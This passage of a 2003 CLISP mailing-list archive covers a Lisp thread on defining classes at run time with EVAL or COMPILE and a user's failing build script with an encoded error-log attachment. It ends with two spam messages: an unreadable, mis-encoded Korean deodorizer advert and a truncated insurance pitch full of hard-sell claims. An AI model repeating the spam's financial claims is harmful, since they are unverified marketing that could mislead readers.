,,@options))) > > (do-it))) > > Interesting; basically this uses macrolet solely to obtain an extra > level of macroexpansion, so that the name, supers, slots and options > are all evaluated. Which maybe means that you probably don't want a macro, but a function instead... > [... lucid comments elided ...] > > To solve this problem you need the help of EVAL. Your loop must > actually construct the *source code* of a DEFCLASS construct into which > it has inserted all the right pieces, and then EVAL that source code > so that its effect takes place. Defining defclass* as a function avoids the need for eval: (defun defclass* (name supers slots &rest options) (funcall (lambda () `(defclass ,name ,supers ,slots ,@options)))) (loop for i from 1 to 3 collect (defclass* ( (intern (format nil "FOO-~D" i)) () ()) From tsabin@optonline.net Fri Apr 11 13:22:45 2003 Received: from ool-44c0aa61.dyn.optonline.net ([68.192.170.97] helo=jetcar.qnz.org) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19452p-0003De-00 for ; Fri, 11 Apr 2003 13:22:44 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.11.6/8.9.3) id h3BKLgN24230; Fri, 11 Apr 2003 16:21:42 -0400 To: Kaz Kylheku Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: New, from-scratch implementation of backquote. References: From: Todd Sabin In-Reply-To: (Kaz Kylheku's message of "Fri, 11 Apr 2003 12:22:52 -0700 (PDT)") Message-ID: Lines: 9 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 13:23:12 2003 X-Original-Date: 11 Apr 2003 16:21:41 -0400 Perhaps it's obvious, but the last message was unfinished; I never noticed how close C-c C-c is to C-x C-x before :\ Anyway, the code I sent doesn't do what I thought it did, so just ignore me for now... :) Todd From kaz@footprints.net Fri Apr 11 13:35:51 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1945F2-0007Jg-00 for ; Fri, 11 Apr 2003 13:35:20 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1945EX-0006hx-00; Fri, 11 Apr 2003 13:34:49 -0700 From: Kaz Kylheku To: Todd Sabin cc: "Hoehle, Joerg-Cyril" , In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 13:36:06 2003 X-Original-Date: Fri, 11 Apr 2003 13:34:49 -0700 (PDT) On 11 Apr 2003, Todd Sabin wrote: > Perhaps it's obvious, but the last message was unfinished; I never > noticed how close C-c C-c is to C-x C-x before :\ > > Anyway, the code I sent doesn't do what I thought it did, so just ignore > me for now... :) Yep. It returns the list (defclass ...) which still needs to be EVAL-ed. You can't fix this, because you can't get around the fact that defclass is a compile-time construct. To define a new class at run-time, you need to construct a new instance of the defclass syntax, and to activate it, you must either EVAL it, or put it in a lambda body and COMPILE it, and then funcall the resulting object. The other alternative would be to use the underlying ENSURE-CLASS function, but that is not portable, (except where the MOP is implemented)? So we can repair your function by moving the backquote out to the whole lambda, and then by using the COMPILE function---which is probably kind of a waste of cycles just to run defclass once. ;) ;; original recipe (defun defclass* (name supers slots &rest options) (funcall (lambda () `(defclass ,name ,supers ,slots ,@options)))) ;; extra crispy (defun defclass* (name supers slots &rest options) (funcall (compile nil `(lambda () (defclass ,name ,supers ,slots ,@options))))) ;; calorie reduced (defun defclass* (name supers slots &rest options) (eval `(defclass ,name ,supers ,slots ,@options))) From tsabin@optonline.net Fri Apr 11 13:56:53 2003 Received: from ool-44c0aa61.dyn.optonline.net ([68.192.170.97] helo=jetcar.qnz.org) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1945Zr-0005cU-00 for ; Fri, 11 Apr 2003 13:56:51 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.11.6/8.9.3) id h3BKtox24337; Fri, 11 Apr 2003 16:55:50 -0400 To: Kaz Kylheku Cc: Todd Sabin , "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net References: From: Todd Sabin In-Reply-To: (Kaz Kylheku's message of "Fri, 11 Apr 2003 13:34:49 -0700 (PDT)") Message-ID: Lines: 58 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 11 13:57:07 2003 X-Original-Date: 11 Apr 2003 16:55:50 -0400 Kaz Kylheku writes: > On 11 Apr 2003, Todd Sabin wrote: > > > Perhaps it's obvious, but the last message was unfinished; I never > > noticed how close C-c C-c is to C-x C-x before :\ > > > > Anyway, the code I sent doesn't do what I thought it did, so just ignore > > me for now... :) > > Yep. It returns the list (defclass ...) which still needs to be EVAL-ed. > > You can't fix this, because you can't get around the fact that defclass > is a compile-time construct. > > To define a new class at run-time, you need to construct a new instance > of the defclass syntax, and to activate it, you must either EVAL it, > or put it in a lambda body and COMPILE it, and then funcall the > resulting object. Right, I was just about to send corrected code identical to the extra crispy below... > The other alternative would be to use the underlying ENSURE-CLASS > function, but that is not portable, (except where the MOP is > implemented)? > > So we can repair your function by moving the backquote out to the whole > lambda, and then by using the COMPILE function---which is probably kind > of a waste of cycles just to run defclass once. ;) That's interesting. I guess I've been prejudiced against eval so much by all the "you almost never really need eval" stuff around that I always avoid it if there's an alternative. But this does seem to be a perfectly good use for it. Thanks. > ;; original recipe > (defun defclass* (name supers slots &rest options) > (funcall (lambda () > `(defclass ,name ,supers ,slots ,@options)))) > > ;; extra crispy > (defun defclass* (name supers slots &rest options) > (funcall (compile nil > `(lambda () > (defclass ,name ,supers ,slots ,@options))))) > > ;; calorie reduced > (defun defclass* (name supers slots &rest options) > (eval `(defclass ,name ,supers ,slots ,@options))) I'd still like to see a real-world application of the original macrolet examples, if anyone knows one. When I first read that stuff I had the feeling of a light bulb going on somewhere, but I haven't figured out where it is or what it's illuminating, yet... Todd From clisp_low@yahoo.com Sat Apr 12 03:12:54 2003 Received: from web20701.mail.yahoo.com ([216.136.226.174]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 194I0E-0004AZ-00 for ; Sat, 12 Apr 2003 03:12:54 -0700 Message-ID: <20030412101254.17835.qmail@web20701.mail.yahoo.com> Received: from [219.94.89.153] by web20701.mail.yahoo.com via HTTP; Sat, 12 Apr 2003 03:12:54 PDT From: Low Kian Seong To: da list MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="0-2082058890-1050142374=:16789" Subject: [clisp-list] problem installing clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 12 03:13:07 2003 X-Original-Date: Sat, 12 Apr 2003 03:12:54 -0700 (PDT) --0-2082058890-1050142374=:16789 Content-Type: text/plain; charset=us-ascii Content-Id: Content-Disposition: inline I am trying to write a script to install clisp on sorcerer here is the build script : ( ./configure --prefix=/usr && unset CHOST && unset CFLAGS && unset CXXFLAGS && cd $SCRIPT_DIR/src && ./makemake --with-dynamic-ffi --with-dynamic-modules --with-export-syscalls --with-module=wildcard --with-module=regexp --with-module=bindings/linuxlibc6 > Makefile && make config.lisp prepare_install && make ) > $C_FIFO 2>&1 I am using gcc-3.2.2 and glibc 2.3.2 with a kernel of 2.4.20. It still fails. Attached with this email is the error. Any help is appreciated. Thank you in advance. __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - File online, calculators, forms, and more http://tax.yahoo.com --0-2082058890-1050142374=:16789 Content-Type: application/octet-stream; name="clisp.bz2" Content-Transfer-Encoding: base64 Content-Description: clisp.bz2 Content-Disposition: attachment; filename="clisp.bz2" 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 --0-2082058890-1050142374=:16789-- From master@89894.com Sat Apr 12 08:24:19 2003 Received: from [211.221.139.200] (helo=89894.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 194MrZ-0003q4-00 for ; Sat, 12 Apr 2003 08:24:18 -0700 From: =?ks_c_5601-1987?B?vcUgIL/rICDDtg==?= To: "clisp-list@lists.sourceforge.net" MIME-Version: 1.0 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] =?ks_c_5601-1987?B?KLGksO0pwve+yMDHILTjueizv7v1LCDE+8T7x9Gzv7v1IL7GIH4hIMGkuLs/Pz9A?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 12 08:25:03 2003 X-Original-Date: Sat, 22 Feb 2003 12:53:45 +0900

This mail is only sent to those who have allowed us to send.

If you don't

 

 

(±¤°í)Â÷¾ÈÀÇ ´ã¹è³¿»õ, ÄûÄûÇѳ¿»õ ¾Æ ~! Á¤¸»???@

 

 

 

¾ÇÃëÁ¦°Å. °õÆÎÀÌ±Õ ¹ß»ýÁ¦°Å. °¢Á¾ ¼¼±Õ ¾ïÁ¦. ½Å¼±µµ Áö¼ÓÀû À¯Áö. ÀÎü¿¡´Â ÀüÇô

           ¹«ÇØÇÑ Ãµ¿¬ Ç×±Õ ¾ÇÃë Á¦°ÅÁ¦.

 

 

1. ³ÃÀå°í ³¿»õÁ¦°Å ¹× ½Äǰ ½Å¼±µµ Áö¼Ó À¯Áö.....

 

2. ¿ÊÀå ¼Ó¿¡ °õÆÎÀÌ ³¿»õ Á¦°Å ¹× °õÆÎÀÌ ±Õ Á¦°Å & ¾ïÁ¦.....

 

3. ÁÖ¹æ »ý¼± Æ¢±è ³¿»õ. µÈÀå ¹× Ã»±¹Àå ³¿»õ Áï½Ã Á¦°Å ¹× °¢Á¾ ¼¼±Õ Á¦°Å & ¾ïÁ¦.....

 

4. È­Àå½Ç ³¿»õ Á¦°Å ¹× °õÆÎÀÌ ±Õ Á¦°Å & ¾ïÁ¦......

 

5. ½Å¹ßÀå ¾ÇÃë Á¦°Å ¹× ¹ß³¿»õ Á¦°Å ¹«Á»±Õ. Á¦°Å ¹× ¾ïÁ¦.......

 

6. ½Ç³» ´ã¹è ³¿»õ ¹× ¼ú ³¿»õ ±âŸ À½½Ä ¸ðµç³¿»õ.....

 

      Ȩ ÆäÀÌÁö : www.89894.com

 

7. ½Ç³» °¢Á¾ ¾ÇÃëÁ¦°Å ¹× ¶¡³¿»õ. ÄûÄûÇÑ ³¿»õ Á¦°Å.  °õÆÎÀÌ ±Õ Á¦°Å ¹× ¾ïÁ¦......

 

8. °íÃþ°Ç¹°ÀÇ °øÁ¶±â ´ÚÆ®³»ÀÇ ¾ÇÃëÁ¦°Å ¹× °¢Á¾ °õÆÎÀÌ ±Õ Á¦°Å & ¾ïÁ¦.....

 

9. °¢Á¾ µ¿¹°ÀÇ ºÐ´¢ ³¿»õ ¹×  ¾ÇÃëÁ¦°Å & ³¿»õ Á¦°Å......

 

10. ½Â¿ëÂ÷¾ÈÀÇ ´ã¹è³¿»õ¿Í ÄûÄûÇÑ ³¿»õ¿¡´Â ²À ÇÊ¿äÇÑ ³¿»õ Á¦°ÅÁ¦...

 

 

»óÈ£  :  ¼îÇθô

Ȩ ÆäÀÌÁö : www.89894.com

e-mail : master@89894.com

   hp : 011-281-1434

 

 

Ãß»ç : ¿Í»è½º´Â ½Ä¿ëÀ¸·Î »ç¿ëÇÏ´Â ¿Í»çºñÀÇ ¿ø·á ½Ä¹° °íÃß³ÃÀÌ¿¡¼­

        ¿ø·á¸¦ ÃßÃâÇÏ¿© »ç¿ëÇϹǷΠ¼ø¼öÇÑ Ãµ¿¬¿ø·á·Î¼­ ÀÎü¿¡´Â

        ÀüÇô ¹«ÇØÇϸç,

          °¢Á¾ ºÎÆÐ¼º ¹× ¼¼±Õ¼ºÀÇ ¸ðµç ¾ÇÃ븦 Á¦°Å ÇÒ»Ó¸¸ ¾Æ´Ï¶ó °¢Á¾

       ¼¼±ÕÀ»  Á¦°ÅÇÏ´Â È¿°ú°¡ ÀÖÀ¸¸ç ½Ç³» °ø±â¸¦ ûÁ¤ ÇÏ°Ô À¯Áö½ÃÄÑ

       ±âºÐÀ» »óÄèÇϰԠ ÇØÁØ´Ù.

 

  °¨»ç ÇÕ´Ï´Ù....

 

 

 

 



±ÍÇÏÀÇ À̸ÞÀÏÁÖ¼Ò´Â ÀÎÅͳݼ­ÇÎÁ߾˰ԵǾúÀ¸¸ç, ¸ÞÀÏÁÖ¼ÒÀÌ¿ÜÀÇ ¾î¶°ÇÑ Á¤º¸µµ °¡Áö°í ÀÖÁö ¾Ê½À´Ï´Ù. ¸ÞÀϼö½ÅÀ» ¿øÇÏÁö ¾ÊÀ»°æ¿ì [¼ö½Å°ÅºÎ]¸¦ ´­·¯Áֽʽÿä.. °¨»ç ÇÕ´Ï´Ù. If you feel that this information is not what you want, please click [HERE] requesting to be removed. Thank you, and we apologize for any inconvenience.

From natlgroup@yahoo.com Sat Apr 12 09:46:32 2003 Received: from 12-246-124-155.client.attbi.com ([12.246.124.155] helo=l5e3h3) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 194O98-0007AV-00 for ; Sat, 12 Apr 2003 09:46:30 -0700 Received: From: "National Benefits Group" To: clisp-list@sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_0000935B-00001008-05C5C9C8-BEDD" Message-Id: Subject: [clisp-list] Now You Can Protect Your Loved Ones...and Benefit Yourself As Well Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 12 09:47:03 2003 X-Original-Date: Sat, 12, Apr 2003 09:51:01 -0700 This is a multi-part message in MIME format. ------=_NextPart_0000935B-00001008-05C5C9C8-BEDD Content-Type: multipart/alternative; boundary="----=_NextPart_0000935B-00001008-05C5C9C8-4F80" ------=_NextPart_0000935B-00001008-05C5C9C8-4F80 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable We respect your privacy. If you wish to be removed, please respond to = natrec1@yahoo.com. Subject=3Dremove. Thanks for your time. = NATIONAL BENEFITS GROUP PROTECT YOUR LOVED ONES =85AND BENEFIT YOURSELF! = ANNOUNCING: THE ULTIMATE ESTATE BENEFIT THE FIRST TERM INSURANCE PLAN THAT PAYS YOU = TO OWN IT. ANNOUNCING: THE SUPERIOR QUALITY TERM INSURANCE = BENEFIT THAT RETURNS YOUR PREMIUMS TO YOU. TOO GOOD TO BE TRUE? IT ISN=92T... WHEN IT COMES TO THE IMPORTANT THINGS IN LIFE... Ask Yourself: Do I have loved ones, a Home, perhaps a Business or Estate, = I want to protect? Have I done ALL I CAN to protect my loved ones? Can I = do more? Do I Really Want To Do More? Can I Actually Benefit Myself = Financially AND protect the important things in my life? FINALLY, TERM LIFE INSURANCE THAT WON=92T TREAT YOU LIKE AUTO INSURANCE = =96 YOU KNOW, PAYING FOR COVERAGE, ONLY TO GET NOTHING = BACK. Superior, High-Quality Term Life Insurance protection that RETURNS PREMIUMS you pay into the policy to you. That=92s right, PREMIUMS YOU PAY = INTO OUR TERM PROTECTION ARE RETURNED BACK TO YOU. There is saving = money; then again, there is SAVING MONEY. Too good to be true? It=92s a reality. An honest-to-goodness way = to protect your loved ones, and, incredibly, financially protect and = benefit yourself as well=85 AT A COST YOU CAN AFFORD. Sound interesting? Great. It should . Our Return of Premium product, = called ROPTerm, is, truly, a great plan. Now=85a plan exists that = provides the benefits of both term and whole life insurance. ROPTerm is issued by The Old Line Life Insurance Company of America; = for decades, an A+ rated insurer offering the very highest standards of = quality and service. Since 1922, Old Line Life has offered the very = highest, superior quality, coverage to policyholders, placing the highest = priority on superior customer service. Old Line Life Insurance Company is a member of the American General Group = of Companies, the largest life, business, and commercial insurance = company in the world. As insurance brokers, we can write policies for several hundred = insurers licensed to transact insurance in California; We offer ROPTerm = for its superior quality, low-cost, competitive rates, and the superior = Return of Premium benefit. Just think: now you can get the superior quality life insurance = protection you want and need, and get your base premiums returned to you = at the end of the term period. What=92s more, you can cancel the = protection before the level premium period ends and you=92ll still have = premium dollars returned to you!!! Get this superior quality = protection, and the premium payments you make into your policy are = returned to you. = AIG AMERICAN GENERAL SAMPLE RATES ROP Term =97 $250,000 Monthly premium for Select Nontobacco Class I 15-year term ; 30-year term Age Male Female Male Female 35 $70.60 $65.50 $39.36 $34.15 45 104.96 95.38 73.30 54.77 55 219.50 183.05 =97 =97 A+ Superior Quality Term = Life Protection that PAYS YOU to fully protect the important things in = your life: Loved Ones, An Estate, a Business=85 WHAT COULD BE EASIER AND BETTER THAN THIS? TERM INSURANCE THAT PAYS YOU. ALL INSURANCE SHOULD WORK THIS WAY. Now you=92re completely protecting your loved = ones=85and financially benefiting yourself as well. PROTECT YOUR HOME, = YOUR ESTATE, YOUR BUSINESS-- YOUR LOVED ONES. Available in guaranteed level premium periods of = 15, 20, or 30 years. This is a great benefit to you and the = important things in your life. CHECK IT OUT. Call us at 800-211-0773, = or reply to us at insureme@attbi.com , or visit us on our website at = http://natlbengrp.com/ and we=92ll gladly provide you with a FREE quote = upon request. Just ask. NO SALESPERSON WILL VISIT YOU. Let us show you = how this honest, superior, low-cost life insurance benefit can work for = you. Give the important things in life the protection that=92s needed, = and deserved. We also provide low-cost quotes for over 200 insurance = companies. NATIONAL BENEFITS GROUP Quality Insurance = Brokers Since 1976 We=92re The Best Idea For Your: Life Insurance, Annuities, Asset Protection Strategies Long Term Care Insurance, Business Insurance Medic-Aid/Medi-Cal Planning, Medicare Supplement 3323 Watt Ave., Suite 107 